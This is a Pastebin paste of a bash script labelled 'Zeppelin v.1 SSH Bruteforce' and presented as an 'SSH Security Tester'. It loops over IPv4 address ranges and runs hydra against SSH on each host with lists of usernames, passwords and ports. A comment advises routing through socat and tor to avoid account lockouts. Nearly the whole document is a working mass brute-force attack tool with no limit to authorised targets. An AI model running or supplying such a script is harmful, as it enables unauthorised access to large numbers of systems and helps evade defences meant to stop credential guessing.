Advertisement
Guest User

SSH Security Tester

a guest
Dec 22nd, 2016
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1.  
  2. #!/bin/bash
  3. ################################################
  4. # -=[Advanced Information Security Corp]=- ##
  5. ################################################
  6. # Keeping things simple!
  7.  
  8. # list of usernames in username.lst
  9. # list of passwords in wordlist.lst
  10. # list of ports to scan in portnumber.txt
  11. # for sem parallel check www.gnu.org/s/parallel
  12. # to prevent account lockouts you can use # socat+tor with refresh intervals to replicate.
  13. #
  14. # ./zep.sh x x x x
  15.  
  16. OLDIFS=$IFS
  17. IFS=$'\n';
  18. set -f
  19. echo " ~ Zeppelin v.1 SSH Bruteforce ~ "
  20. echo " _..--=--..._ "
  21. echo " .-' '-. .-. "
  22. echo " /.' '.\/ / "
  23. echo " |=- -=| ( "
  24. echo " \'. .'/\ \ "
  25. echo " '-.,_____ _____.-' '-' "
  26. echo " [_____]=8 "
  27. echo " "
  28. echo "-----------------------------------"
  29. echo "-=[Advanced Information Security]=-"
  30. echo "-----------------------------------"
  31. for ((x = $1; x < 255; x++));
  32. do
  33. for ((y = $2; y < 255; y++));
  34. do
  35. for ((z = $3; z < 255; z++));
  36. do
  37. for ((f = $4; f < 255; f++));
  38. do
  39. for a in $(cat username.lst);
  40. do
  41. for e in $(cat wordlist.lst);
  42. do
  43. for p in $(cat portnumber.txt);
  44. do
  45. class=$x.$y.$z.$f
  46. parallel=40
  47. hydra=`hydra -l "$a" -P "$e" -t 7 -w 5 -s "$p" -f "$class" ssh & `
  48. #hydra=`sem -j "$parallel" hydra -l "$a" -P "$e" -t 7 -w 5 -s "$p" -f "$class" ssh`
  49. echo " [~] ~ Attacking $x.$y.$z.$f with username: $a password: $e"
  50. $hydra
  51. done;
  52. wait
  53. done;
  54. done;
  55. done;
  56. done;
  57. done;
  58. done
  59.  
  60. IFS=$OLDIFS
  61. set +f
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement